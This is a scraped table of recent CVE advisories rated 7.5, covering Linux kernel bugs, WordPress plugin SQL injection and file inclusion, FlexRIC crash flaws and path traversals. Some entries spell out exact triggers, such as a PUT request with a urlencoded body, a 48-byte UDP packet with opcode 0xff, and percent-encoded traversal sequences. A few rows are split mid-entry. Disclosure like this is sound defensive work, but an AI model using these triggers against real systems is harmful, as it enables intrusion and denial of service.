CVE-2026-45860	connection clean up limit to 64 After the optimization to only perform one GC per jiffy, a new problem was introduced. If more than 8 new connections are tracked per jiffy the list won't be cleaned up fast enough possibly reaching the limit wrongly. In order to prevent this issue, only skip the GC if it was already triggered during the same jiffy and the increment is lower than the clean up limit. In addition, increase the clean up limit to 64 connections to avoid triggering GC too often and do more effective GCs. This has been tested using a HTTP server and several performance tools while having nft_connlimit/xt_connlimit or OVS limit configured. Output of slowhttptest + OVS limit at 52000 connections: slow HTTP test status on 340th second: initializing: 0 pending: 432 connected: 51998 error: 0 closed: 0 service available: YES	7.5	More Details
CVE-2026-46177	In the Linux kernel, the following vulnerability has been resolved: ipmi: Add limits to event and receive message requests The driver would just fetch events and receive messages until the BMC said it was done. To avoid issues with BMCs that never say they are done, add a limit of 10 fetches at a time. In addition, an si interface has an attn state it can return from the hardware which is supposed to cause a flag fetch to see if the driver needs to fetch events or message or a few other things. If the attn bit gets stuck, it's a similar problem. So allow messages in between flag fetches so the driver itself doesn't get stuck. This is a more general fix than the previous fix for the specific bad BMC, but should fix the more general issue of a BMC that won't stop saying it has data. This has been there from the beginning of the driver. It's not a bug per-se, but it is accounting for bugs in BMCs.	7.5	More Details
CVE-2026-48972	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in SeedProd LLC SeedProd Pro allows PHP Local File Inclusion. This issue affects SeedProd Pro: from n/a before 6.19.5.	7.5	More Details
CVE-2026-46102	In the Linux kernel, the following vulnerability has been resolved: net: strparser: fix skb_head leak in strp_abort_strp() When the stream parser is aborted, for example after a message assembly timeout, it can still hold a reference to a partially assembled message in strp->skb_head. That skb is not released in strp_abort_strp(), which leaks the partially assembled message and can be triggered repeatedly to exhaust memory. Fix this by freeing strp->skb_head and resetting the parser state in the abort path. Leave strp_stop() unchanged so final cleanup still happens in strp_done() after the work and timer have been synchronized.	7.5	More Details
CVE-2026-9901	Use after free in ANGLE in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-7797	The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'append_where_sql' parameter in all versions up to, and including, 1.6.11.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The /appointments/bulk REST endpoint is reachable by unauthenticated attackers because its permission check accepts a public nonce that is embedded in the booking widget's frontend JavaScript (ssa.api.public_nonce) and visible to all site visitors; exploitation requires issuing the request as a PUT with an application/x-www-form-urlencoded body so that PHP's superglobals are not populated and the blocklist check silently passes.	7.5	More Details
CVE-2026-37230	FlexRIC v2.0.0 crashes when the near-RT RIC receives a RIC_INDICATION message with a ran_func_id that does not exist in its registry. The lookup returns NULL, triggering assert() in Debug builds (SIGABRT) or NULL pointer dereference in Release builds (SIGSEGV). A remote unauthenticated attacker can crash the near-RT RIC (port 36421) by sending a crafted RIC_INDICATION with an arbitrary ran_func_id value.	7.5	More Details
CVE-2026-42736	Authorization Bypass Through User-Controlled Key vulnerability in wordplus BP Better Messages bp-better-messages allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects BP Better Messages: from n/a through <= 2.14.16.	7.5	More Details
CVE-2026-49136	Banana Slides through 0.4.0, patched in commit e8bc490, contains a path traversal vulnerability in the generate_image() function within the AI service backend that allows unauthenticated attackers to read arbitrary image-format files outside the intended uploads directory by exploiting an incomplete path prefix check using os.path.startswith() without a trailing separator. Attackers can supply crafted markdown image references in user-controlled page descriptions that resolve to sibling directories whose names share the uploads folder prefix, bypassing the directory confinement check and causing the application to read files from unintended locations via PIL Image.open().	7.5	More Details
CVE-2026-10073	DreamMaker developed by Interinfo has an Arbitrary File Read vulnerability, allowing unauthenticated local attackers to exploit Relative Path Traversal to download arbitrary system files.	7.5	More Details
CVE-2026-	Music Player Daemon (MPD) before version 0.24.11 contains a path traversal vulnerability in LocalStorage::MapFSOrThrow and LocalStorage::MapUTF8 within the local storage plugin, where the on-disk path is constructed by joining the storage root with a user-supplied URI as plain strings without canonicalization, allowing '..' segments to survive into the resolved path and be flattened by the kernel at	7.5	More Details

49128	openat() time. An unauthenticated attacker can exploit this flaw using the listfiles command to enumerate names, sizes, and modification times of arbitrary directories readable by the MPD process, and the albumart command to read image files in any attacker-chosen directory outside the configured music_directory.		
CVE-2026-37221	FlexRIC v2.0.0 crashes when receiving a RIC_SUBSCRIPTION_RESPONSE with an unknown ric_id that has no corresponding pending event. The near-RT RIC uses assert() to enforce the existence of a pending event during response processing. A remote unauthenticated attacker can send a forged RIC_SUBSCRIPTION_RESPONSE to the near-RT RIC (port 36421) to cause SIGABRT in Debug builds or NULL pointer dereference (SIGSEGV) in Release builds.	7.5	More Details
CVE-2026-32847	DeepCode through commit c991dc2 contains a path traversal vulnerability in the SPA catch-all route in new_ui/backend/main.py that allows unauthenticated attackers to read arbitrary files by supplying percent-encoded path segments to the GET /{full_path:path} endpoint. Attackers can bypass Starlette's path normalization by encoding slashes as %2F and dots as %2E%2E, causing the joined path to traverse outside FRONTEND_DIST and exposing sensitive files such as SSH private keys, TLS certificates, and application secrets with a single HTTP request.	7.5	More Details
CVE-2026-37220	FlexRIC v2.0.0 crashes when an SCTP association is closed before an E2_SETUP_REQUEST is sent. The near-RT RIC assumes a mapping between SCTP association and E2 node always exists in the cleanup path and enforces this via assert(). A remote unauthenticated attacker can crash the near-RT RIC (port 36421) by simply completing an SCTP handshake and immediately disconnecting, without sending any E2AP message.	7.5	More Details
CVE-2026-46110	In the Linux kernel, the following vulnerability has been resolved: net: stmmac: Prevent NULL deref when RX memory exhausted The CPU receives frames from the MAC through conventional DMA: the CPU allocates buffers for the MAC, then the MAC fills them and returns ownership to the CPU. For each hardware RX queue, the CPU and MAC coordinate through a shared ring array of DMA descriptors: one descriptor per DMA buffer. Each descriptor includes the buffer's physical address and a status flag ("OWN") indicating which side owns the buffer: OWN=0 for CPU, OWN=1 for MAC. The CPU is only allowed to set the flag and the MAC is only allowed to clear it, and both must move through the ring in sequence: thus the ring is used for both "submissions" and "completions." In the stmmac driver, stmmac_rx() bookmarks its position in the ring with the `cur_rx` index. The main receive loop in that function checks for rx_descs[cur_rx].own=0, gives the corresponding buffer to the network stack (NULLing the pointer), and increments `cur_rx` modulo the ring size. After the loop exits, stmmac_rx_refill(), which bookmarks its position with `dirty_rx`, allocates fresh buffers and rearms the descriptors (setting OWN=1). If it fails any allocation, it simply stops early (leaving OWN=0) and will retry where it left off when next called. This means descriptors have a three-stage lifecycle (terms my own): - `empty` (OWN=1, buffer valid) - `full` (OWN=0, buffer valid and populated) - `dirty` (OWN=0, buffer NULL) But because stmmac_rx() only checks OWN, it confuses `full`/`dirty`. In the past (see 'Fixes:'), there was a bug where the loop could cycle `cur_rx` all the way back to the first descriptor it dirtied, resulting in a NULL dereference when mistaken for `full`. The aforementioned commit resolved that *specific* failure by capping the loop's iteration limit at `dma_rx_size - 1`, but this is only a partial fix: if the previous stmmac_rx_refill() didn't complete, then there are leftover `dirty` descriptors that the loop might encounter without needing to cycle fully around. The current code therefore panics (see 'Closes:') when stmmac_rx_refill() is memory-starved long enough for `cur_rx` to catch up to `dirty_rx`. Fix this by explicitly checking, before advancing `cur_rx`, if the next entry is dirty; exit the loop if so. This prevents processing of the final, used descriptor until stmmac_rx_refill() succeeds, but fully prevents the `cur_rx == dirty_rx` ambiguity as the previous bugfix intended: so remove the clamp as well. Since stmmac_rx_zc() is a copy-paste-and-tweak of stmmac_rx() and the code structure is identical, any fix to stmmac_rx() will also need a corresponding fix for stmmac_rx_zc(). Therefore, apply the same check there. In stmmac_rx() (not stmmac_rx_zc()), a related bug remains: after the MAC sets OWN=0 on the final descriptor, it will be unable to send any further DMA-complete IRQs until it's given more `empty` descriptors. Currently, the driver simply *hopes* that the next stmmac_rx_refill() succeeds, risking an indefinite stall of the receive process if not. But this is not a regression, so it can be addressed in a future change.	7.5	More Details
CVE-2026-46024	In the Linux kernel, the following vulnerability has been resolved: libceph: Prevent potential null-ptr-deref in ceph_handle_auth_reply() If a message of type CEPH_MSG_AUTH_REPLY contains a zero value for both protocol and result, this is currently not treated as an error. In case of ac->negotiating == true and ac->protocol > 0, this leads to setting ac->protocol = 0 and ac->ops = NULL. Thereafter, the check for ac->protocol != protocol returns false, and init_protocol() is not called. Subsequently, ac->ops->handle_reply() is called, which leads to a null pointer dereference, because ac->ops is still NULL. This patch changes the check for ac->protocol != protocol to !ac->protocol, as this also includes the case when the protocol was set to zero in the message. This causes the message to be treated as containing a bad auth protocol.	7.5	More Details
CVE-2026-37231	FlexRIC v2.0.0 uses a uint16_t counter for xapp_id assignment but stores the value in uint32_t message fields. After 65,530+ E42_SETUP_REQUESTs, the 16-bit counter wraps around and produces duplicate xapp_ids. The iApp (port 36422) crashes when attempting to register a duplicate ID in its internal data structure. A remote attacker can trigger this by repeatedly connecting and requesting new xApp registrations.	7.5	More Details
	In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Reject unknown opcodes before ICRC processing Even after applying commit 7244491dab34 ("RDMA/rxe: Validate pad and ICRC before payload_size() in rxe_rcv"), a single unauthenticated UDP packet can still trigger panic. That patch handled		

CVE-2026-46133	payload_size() underflow only for valid opcodes with short packets, not for packets carrying an unknown opcode. The unknown-opcode OOB read described below predates that commit and reaches back to the initial Soft RoCE driver. The check added there reads pkt->paylen < header_size(pkt) + bth_pad(pkt) + RXE_ICRC_SIZE where header_size(pkt) expands to rxe_opcode[pkt->opcode].length. The rxe_opcode[] array has 256 entries but is only populated for defined IB opcodes; any other entry (for example opcode 0xff) is zero-initialized, so length == 0 and the check degenerates to pkt->paylen < 0 + bth_pad(pkt) + RXE_ICRC_SIZE which does not constrain pkt->paylen enough. rxe_icrc_hdr() then computes rxe_opcode[pkt->opcode].length - RXE_BTH_BYTES which underflows when length == 0 and passes a huge value to rxe_crc32(), causing an out-of-bounds read of the skb payload. Reproduced on v7.0-rc7 with that fix applied, QEMU/KVM with CONFIG_RDMA_RXE=y and CONFIG_KASAN=y, after rdma link add rxe0 type rxe netdev eth0 A single 48-byte UDP packet to port 4791 with BTH opcode=0xff and QPN=IB_MULTICAST_QPN triggers: BUG: KASAN: slab-out-of-bounds in crc32_le+0x115/0x170 Read of size 1 at addr ... The buggy address is located 0 bytes to the right of allocated 704-byte region Call Trace: crc32_le+0x115/0x170 rxe_icrc_hdr.isra.0+0x226/0x300 rxe_icrc_check+0x13f/0x3a0 rxe_rcv+0x6e1/0x16e0 rxe_udp_encap_recv+0x20a/0x320 udp_queue_rcv_one_skb+0x7ed/0x12c0 Subsequent packets with the same shape fault on unmapped memory and panic the kernel. The trigger requires only module load and "rdma link add"; no QP, no connection, and no authentication. Fix this by rejecting packets whose opcode has no rxe_opcode[] entry, detected via the zero mask or zero length, before any length arithmetic runs.	7.5	More Details
CVE-2026-46114	In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Reject non-8-byte ATOMIC_WRITE payloads atomic_write_reply() at drivers/infiniband/sw/rxe/rxe_resp.c unconditionally dereferences 8 bytes at payload_addr(pkt): value = *(u64 *)payload_addr(pkt); check_rkey() previously accepted an ATOMIC_WRITE request with pktlen == resid == 0 because the length validation only compared pktlen against resid. A remote initiator that sets the RETH length to 0 therefore reaches atomic_write_reply() with a zero-byte logical payload, and the responder reads sizeof(u64) bytes from past the logical end of the packet into skb->head tailroom, then writes those 8 bytes into the attacker's MR via rxe_mr_do_atomic_write(). That is a remote disclosure of 4 bytes of kernel tailroom per probe (the other 4 bytes are the packet's own trailing ICRC). IBA oA19-28 defines ATOMIC_WRITE as exactly 8 bytes. Anything else is protocol-invalid. Hoist a strict length check into check_rkey() so the responder never reaches the unchecked dereference, and keep the existing WRITE-family length logic for the normal RDMA WRITE path. Reproduced on mainline with an unmodified rxe driver: a sustained zero-length ATOMIC_WRITE probe repeatedly leaks adjacent skb head-buffer bytes into the attacker's MR, including recognisable kernel strings and partial kernel-direct-map pointer words. With this patch applied the responder rejects the PDU and the MR stays all-zero.	7.5	More Details
CVE-2018-25396	Heatmiser Wifi Thermostat 1.7 contains a credential disclosure vulnerability that allows unauthenticated attackers to retrieve administrative credentials by accessing the networkSetup.htm page. Attackers can request the networkSetup.htm endpoint and extract plaintext username and password values from HTML form fields to gain administrative access to the thermostat.	7.5	More Details
CVE-2026-46085	In the Linux kernel, the following vulnerability has been resolved: rxrpc: Fix rxkad crypto unalignment handling Fix handling of a packet with a misaligned crypto length. Also handle non-ENOMEM errors from decryption by aborting. Further, remove the WARN_ON_ONCE() so that it can't be remotely triggered (a trace line can still be emitted).	7.5	More Details
CVE-2026-40850	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the getAccountData function due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2026-46124	In the Linux kernel, the following vulnerability has been resolved: isofs: validate block number from NFS file handle in isofs_export_iget isofs_fh_to_dentry() and isofs_fh_to_parent() pass an attacker- controlled block number (ifid->block or ifid->parent_block) from the NFS file handle to isofs_export_iget(), which only rejects block == 0 before calling isofs_iget() and ultimately sb_bread(). A crafted file handle with fh_len sufficient to pass the check added by commit 0405d4b63d08 ("isofs: Prevent the use of too small fid") can still drive the server to read any in-range block on the backing device as if it were an iso_directory_record. That earlier fix was assigned CVE-2025-37780. sb_bread() on an out-of-range block returns NULL cleanly via the EIO path, so there is no memory-safety violation. For in-range reads of adjacent-partition data on the same block device, the unrelated bytes end up in iso_inode_info fields that reach the NFS client as dentry metadata. The deployment surface (isofs exported over NFS from loop-mounted images) is narrow and requires an authenticated NFS peer, but the malformed-file-handle class is reportable as hardening next to the existing CVE-2025-37780 fix. Reject block >= ISOFS_SB(sb)->s_nzones in isofs_export_iget() so the check covers both isofs_fh_to_dentry() and isofs_fh_to_parent() call sites with a single line.	7.5	More Details
CVE-2026-37233	FlexRIC v2.0.0 contains an authorization bypass in the iApp's xApp isolation mechanism. The equality function eq_xapp_ric_gen_id() in src/ric/iApp/xapp_ric_id.c compares m0->xapp_id against itself (m0->xapp_id) instead of the other argument (m1->xapp_id), effectively ignoring the xApp identity dimension. A malicious xApp connected to the iApp (port 36422) can delete any other xApp's subscriptions by sending an E42_RIC_SUBSCRIPTION_DELETE_REQUEST with a matching ric_gen_id. This breaks multi-tenant isolation in any deployment with multiple xApps sharing the same RIC.	7.5	More Details
CVE-	An unauthenticated remote attacker can exploit an unauthenticated SQL Injection vulnerability in the userinfo		

2026-40810	endpoint due to improper neutralization of special elements in a SQL SELECT command. This can result in a total loss of confidentiality.	7.5	More Details
CVE-2025-41271	Nozomi Networks Labs identified a CWE-23: Relative Path Traversal in the Console WebUI in Waterfall WF-500 TX and RX Hosts in version 7.9.1.0 R2502171040 that allows remote unauthenticated attackers to read arbitrary files from the device.	7.5	More Details
CVE-2026-46052	In the Linux kernel, the following vulnerability has been resolved: ceph: only d_add() negative dentries when they are unhashed Ceph can call d_add(dentry, NULL) on a negative dentry that is already present in the primary dcache hash. In the current VFS that is not safe. d_add() goes through __d_add() to __d_rehash(), which unconditionally reinserts dentry->d_hash into the hlist_bl bucket. If the dentry is already hashed, reinserting the same node can corrupt the bucket, including creating a self-loop. Once that happens, __d_lookup() can spin forever in the hlist_bl walk, typically looping only on the d_name.hash mismatch check and eventually triggering RCU stall reports like this one: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 87-....: (2100 ticks this GP) idle=3a4c/1/0x4000000000000000 softirq=25003319/25003319 fqs=829 rcu: (t=2101 jiffies g=79058445 q=698988 ncpus=192) CPU: 87 UID: 2952868916 PID: 3933303 Comm: php-cgi8.3 Not tainted 6.18.17-i1-amd #950 NONE Hardware name: Dell Inc. PowerEdge R7615/0G9DHV, BIOS 1.6.6 09/22/2023 RIP: 0010:__d_lookup+0x46/0xb0 Code: c1 e8 07 48 8d 04 c2 48 8b 00 49 89 fc 49 89 f5 48 89 c3 48 83 e3 fe 48 83 f8 01 77 0f eb 2d 0f 1f 44 00 00 48 8b 1b 48 85 db <74> 20 39 6b 18 75 f3 48 8d 7b 78 e8 ba 85 d0 00 4c 39 63 10 74 1f RSP: 0018:ff745a70c8253898 EFLAGS: 00000282 RAX: ff26e470054cb208 RBX: ff26e470054cb208 RCX: 000000006e958966 RDX: ff26e48267340000 RSI: ff745a70c82539b0 RDI: ff26e458f74655c0 RBP: 000000006e958966 R08: 0000000000000180 R09: 9cd08d909b919a89 R10: ff26e458f74655c0 R11: 0000000000000000 R12: ff26e458f74655c0 R13: ff745a70c82539b0 R14: d0d0d0d0d0d0d0d0 R15: 2f2f2f2f2f2f2f2f FS: 00007f5770896980(0000) GS:ff26e482c5d88000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f5764de50c0 CR3: 000000a72abb5001 CR4: 0000000000771ef0 PKRU: 55555554 Call Trace: <TASK> lookup_fast+0x9f/0x100 walk_component+0x1f/0x150 link_path_walk+0x20e/0x3d0 path_lookupat+0x68/0x180 filename_lookup+0xdc/0x1e0 vfs_statx+0x6c/0x140 vfs_fstatat+0x67/0xa0 __do_sys_newfstatat+0x24/0x60 do_syscall_64+0x6a/0x230 entry_SYSCALL_64_after_hwframe+0x76/0x7e This is reachable with reused cached negative dentries. A Ceph lookup or atomic_open can be handed a negative dentry that is already hashed, and fs/ceph/dir.c then hits one of two paths that incorrectly assume "negative" also means "unhashed": - ceph_finish_lookup(): MDS reply is -ENOENT with no trace -> d_add(dentry, NULL) - ceph_lookup(): local ENOENT fast path for a complete directory with shared caps -> d_add(dentry, NULL) Both paths can therefore re-add an already-hashed negative dentry. Ceph already uses the correct pattern elsewhere: ceph_fill_trace() only calls d_add(dn, NULL) for a negative null-dentry reply when d_unhashed(dn) is true. Fix both fs/ceph/dir.c sites the same way: only call d_add() for a negative dentry when it is actually unhashed. If the negative dentry is already hashed, leave it in place and reuse it as-is. This preserves the existing behavior for unhashed dentries while avoiding d_hash list corruption for reused hashed negatives.	7.5	More Details
CVE-2026-44902	opentelemetry-js is the OpenTelemetry JavaScript Client. Prior to 0.217.0, a single malformed HTTP request crashes any Node.js process running the OpenTelemetry JS Prometheus exporter. The metrics endpoint (default 0.0.0.0:9464) has no error handling around URL parsing, so a request with an invalid URI causes an uncaught TypeError that terminates the process. This vulnerability is fixed in 0.217.0.	7.5	More Details
CVE-2026-44660	UltraJSON is a fast JSON encoder and decoder written in pure C with bindings for Python 3.7+. Prior to 5.12.1, when ujson.dump() writes to a file-like object and the write operation raises an exception, the serialized JSON string object is not decremented, leaking memory. Each failed write operation leaks the full size of the serialized payload. This vulnerability is fixed in 5.12.1.	7.5	More Details
CVE-2026-9934	Use after free in Aura in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-8361	A path traversal vulnerability exists in WOSDefaultHttpModule.dll when processing a URL path starting with /woshome	7.5	More Details
CVE-2018-25426	WinMTR 0.91 contains a denial of service vulnerability that allows attackers to crash the application by sending a malformed payload file containing a large buffer of repeated characters. Attackers can create a specially crafted input file with 238 bytes of data to trigger a buffer overflow condition that causes the application to crash.	7.5	More Details
CVE-2026-9922	Use after free in GPU in Google Chrome on Mac prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-8360	Function calls to WOSCommonUtil.dll!WOSSysInfoGetDeviceInterface() in various DLLs (i.e., WOSProfileMgrModule.dll, WOSWebDavModule.dll) can return a NULL pointer (i.e., when no user is logged into the Triofox Server Agent Management Console). The returned NULL pointer is not checked before being dereferenced.	7.5	More Details

CVE-2026-8359	When processing a request with a URL path starting with /status or /sysinfo, WOSHttpStatusModule.dll is to be loaded to handle such URL patterns. The WOSBin_LoadHttpModule function in the dll would be called to set up a "module" object for that module. However, WOSHttpStatusModule.dll is not present in the installation. As a result, a function pointer to WOSBin_LoadHttpModule (which would have been in the export table in WOSHttpStatusModule.dll) is set to NULL, resulting in calling a function at address 0.	7.5	More Details
CVE-2026-42760	Authentication Bypass Using an Alternate Path or Channel vulnerability in revmakx Backup and Staging by WP Time Capsule wp-time-capsule allows Password Recovery Exploitation.This issue affects Backup and Staging by WP Time Capsule: from n/a through <= 1.22.25.	7.5	More Details
CVE-2026-37222	FlexRIC v2.0.0 uses hardcoded assertions to validate Information Element (IE) counts in decoded E2AP messages. A remote unauthenticated attacker can send a valid E2AP PDU containing an unexpected number of IEs (e.g., an E2setupRequest with extra optional fields) to crash the near-RT RIC (port 36421) or iApp (port 36422) via SIGABRT. The code asserts exact IE counts rather than validating against protocol-specified ranges.	7.5	More Details
CVE-2026-39929	Lakeside SysTrack Agent versions prior to 11.2.1.28, 11.3.0.38, 11.4.0.24, 11.5.0.15 contain an out-of-bounds read vulnerability in the Command ID 30 UDP packet handler that allows remote attackers to crash the application by sending a specially crafted UDP packet. Attackers can send a malformed packet with an invalid memory address at offset 0x4 in the payload to trigger an access violation and cause a denial of service.	7.5	More Details
CVE-2026-37223	FlexRIC v2.0.0 contains a reachable assertion in the iApp message dispatcher. The dispatcher validates incoming E2AP messages against a 9-entry whitelist using assert(). A remote unauthenticated attacker can send any decodable E2AP PDU with a message type not in the whitelist to crash the iApp process (port 36422) via SIGABRT. Since iApp and the near-RT RIC share one process, this terminates the entire RIC service and disconnects all E2 Nodes and xApps.	7.5	More Details
CVE-2026-9200	The Query Shortcode plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.2.1 via the shortcode function. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.	7.5	More Details
CVE-2026-10044	Usagi-org ai-goofish-monitor contains an unauthenticated arbitrary file read vulnerability in the GET /api/prompts/{filename} endpoint on Windows deployments that allows unauthenticated remote attackers to read arbitrary files by supplying absolute Windows paths or backslash-based traversal sequences. Attackers can bypass the incomplete path traversal guard, which only blocks forward slashes and '..', by providing absolute paths such as Windows system file locations, causing os.path.join to discard the intended prompts directory prefix and expose files accessible to the application process.	7.5	More Details
CVE-2026-37224	FlexRIC v2.0.0 crashes when receiving a duplicate E2_SETUP_REQUEST from the same or spoofed E2 Node. The iApp registry enforces node ID uniqueness via assert() rather than graceful rejection. A remote unauthenticated attacker can crash the iApp process (port 36421) by sending two E2_SETUP_REQUESTs with the same E2 node configuration, triggering SIGABRT.	7.5	More Details
CVE-2026-46031	In the Linux kernel, the following vulnerability has been resolved: net: ks8851: Reinstate disabling of BHs around IRQ handler If the driver executes ks8851_irq() AND a TX packet has been sent, then the driver enables TX queue via netif_wake_queue() which schedules TX softirq to queue packets for this device. If CONFIG_PREEMPT_RT=y is set AND a packet has also been received by the MAC, then ks8851_rx_pkts() calls netdev_alloc_skb_ip_align() to allocate SKBs for the received packets. If netdev_alloc_skb_ip_align() is called with BH enabled, then local_bh_enable() at the end of netdev_alloc_skb_ip_align() will trigger the pending softirq processing, which may ultimately call the .xmit callback ks8851_start_xmit_par(). The ks8851_start_xmit_par() will try to lock struct ks8851_net_par .lock spinlock, which is already locked by ks8851_irq() from which ks8851_start_xmit_par() was called. This leads to a deadlock, which is reported by the kernel, including a trace listed below. If CONFIG_PREEMPT_RT is not set, then since commit 0913ec336a6c0 ("net: ks8851: Fix deadlock with the SPI chip variant") the deadlock can also be triggered without received packet in the RX FIFO. The pending softirqs will be processed on return from spin_unlock_bh(&ks->statelock) in ks8851_irq(), which triggers the deadlock as well. Fix the problem by disabling BH around critical sections, including the IRQ handler, thus preventing the net_tx_action() softirq from triggering during these critical sections. The net_tx_action() softirq is triggered once BH are re-enabled and at the end of the IRQ handler, once all the other IRQ handler actions have been completed. __schedule from schedule_rtlock+0x1c/0x34 schedule_rtlock from rtlock_slowlock_locked+0x548/0x904 rtlock_slowlock_locked from rt_spin_lock+0x60/0x9c rt_spin_lock from ks8851_start_xmit_par+0x74/0x1a8 ks8851_start_xmit_par from netdev_start_xmit+0x20/0x44 netdev_start_xmit from dev_hard_start_xmit+0xd0/0x188 dev_hard_start_xmit from sch_direct_xmit+0xb8/0x25c sch_direct_xmit from __qdisc_run+0x1f8/0x4ec __qdisc_run from qdisc_run+0x1c/0x28 qdisc_run from net_tx_action+0x1f0/0x268 net_tx_action from handle_softirqs+0x1a4/0x270 handle_softirqs from __local_bh_enable_ip+0xcc/0xe0 __local_bh_enable_ip from __alloc_skb+0xd8/0x128 __alloc_skb from __netdev_alloc_skb+0x3c/0x19c __netdev_alloc_skb from ks8851_irq+0x388/0x4d4 ks8851_irq from irq_thread_fn+0x24/0x64 irq_thread_fn from irq_thread+0x178/0x28c irq_thread from kthread+0x12c/0x138 kthread from ret_from_fork+0x14/0x28	7.5	More Details

CVE-2026-44378	Botan is a C++ cryptography library. Prior to 3.12.0, certain patterns of indefinite length encodings in BER data could cause quadratic behavior in the parser, resulting in a denial of service. Such BER encodings were accepted even in structures which are required to be encoded as DER, which prohibits indefinite length encodings. This vulnerability is fixed in 3.12.0.	7.5	More Details
CVE-2026-37235	FlexRIC v2.0.0 trusts the xapp_id field from E42 message payloads without binding it to the sender's SCTP association. The validation function valid_xapp_id() only checks that the value is within the assigned range. A remote unauthenticated attacker can impersonate any xApp by specifying their xapp_id in requests sent to the iApp (port 36422), causing responses to be misrouted to the victim xApp. This can crash the victim xApp, the RIC, or the iApp itself through state inconsistencies in the red-black tree data structure.	7.5	More Details
CVE-2026-48959	IO::Uncompress::Unzip versions before 2.220 for Perl allow CPU exhaustion via per-byte read loop in fastForward. fastForward() compares length $offset (the digit count of the offset, 1 to 19) against the chunk size $c instead of $offset itself, so $c shrinks from 16 KiB to 1-19 bytes per iteration. Extracting a named entry from an attacker supplied zip via IO::Uncompress::Unzip->new($zip, Name => $target) drives a per-byte read loop scaling with the entry's compressed size, up to the non-Zip64 4 GiB cap.	7.5	More Details
CVE-2026-37229	FlexRIC v2.0.0 contains a reachable assertion in e2ap_create_pdu() triggered when ASN.1 PER decoding fails. A remote unauthenticated attacker can send any non-PER byte sequence (e.g., a single 0x00 byte) over SCTP to the near-RT RIC (port 36421) or iApp (port 36422) to crash the process via SIGABRT. The assertion is reached before any protocol-level validation occurs. All three E2AP protocol versions (v1.01, v2.03, v3.01) are affected.	7.5	More Details
CVE-2026-9933	Use after free in Input in Google Chrome prior to 148.0.7778.216 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)	7.5	More Details
CVE-2026-10056	CORS misconfiguration in the REST API of Network Optix Nx Witness VMS before version 6.1.2, when running in the default Standard security mode, on Linux and Windows allows an unauthenticated remote attacker to steal the session token of an authenticated user and perform Administrator Account Takeover via a malicious cross-origin web page visited by the victim. The High security mode is not affected.Workaround: For existing installations running in Standard security mode, set Access-Control-Allow-Credentials to false via the REST API: PATCH /rest/v2/system/settings with body {"supportedOrigins": "null"}. Alternatively, select High security level during initial setup. Solution: Update to Nx Witness VMS version 6.1.2 or later, in which Access-Control-Allow-Credentials is set to false in the default Standard security configuration.	7.5	More Details
CVE-2026-44648	SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to 1.18.0, SillyTavern relies on cookie-session for authentication, storing all session data (user handle, permissions) in a signed cookie. The endpoints POST /api/users/change-password and POST /api/users/recover-step2 only update the password hash in the database but do not expire current sessions. Because the session is stateless and stored entirely in the client cookie, there is no server-side mechanism to revoke a token once issued. This vulnerability is fixed in 1.18.0.	7.5	More Details
CVE-2026-9096	Casdoor versions 2.362.0 and earlier do not enforce SAML assertion time bounds. The gosaml2 library reports all time-validation results, including NotOnOrAfter and NotBefore, in the assertionInfo.WarningInfo field. However, ParseSamlResponse() never reads this field, meaning that time bounds are computed by the library but silently discarded before the user session is issued.	7.5	More Details
CVE-2026-8180	IBM Aspera High-Speed Transfer Endpoint 3.7.4 through 4.4.7 Fix Pack 1 and IBM Aspera High-Speed Transfer Server 3.7.4 through 4.4.7 Fix Pack 1 and IBM Aspera High-Speed Transfer Endpoint are affected by a potential denial of service in the asperahttpd component. An unauthenticated user can cause the asperahttpd service to crash.	7.5	More Details
CVE-2026-46027	In the Linux kernel, the following vulnerability has been resolved: net/smc: avoid early lgr access in smc_clc_wait_msg A CLC decline can be received while the handshake is still in an early stage, before the connection has been associated with a link group. The decline handling in smc_clc_wait_msg() updates link-group level sync state for first-contact declines, but that state only exists after link group setup has completed. Guard the link-group update accordingly and keep the per-socket peer diagnosis handling unchanged. This preserves the existing sync_err handling for established link-group contexts and avoids touching link-group state before it is available.	7.5	More Details
CVE-2026-49361	Apache Fluss versions prior to 0.9.1 configure the Netty LengthFieldBasedFrameDecoder with Integer.MAX_VALUE as the maximum frame length, allowing unauthenticated remote attackers to exhaust JVM heap memory on TabletServer and CoordinatorServer by sending specially crafted frame headers, resulting in denial of service. This issue affects Apache Fluss (incubating): 0.8.0 and 0.9.0. Users are recommended to upgrade to version 0.9.1, which fixes the issue.	7.5	More Details
	pam_usb provides hardware authentication for Linux using ordinary removable media. Prior to 0.9.0, pam_usb's deny_remote feature checks utmpx ut_addr_v6 to detect whether an authentication request originates from a remote session. The outer guard was if (utent->ut_addr_v6[0] != 0), which only tests the		

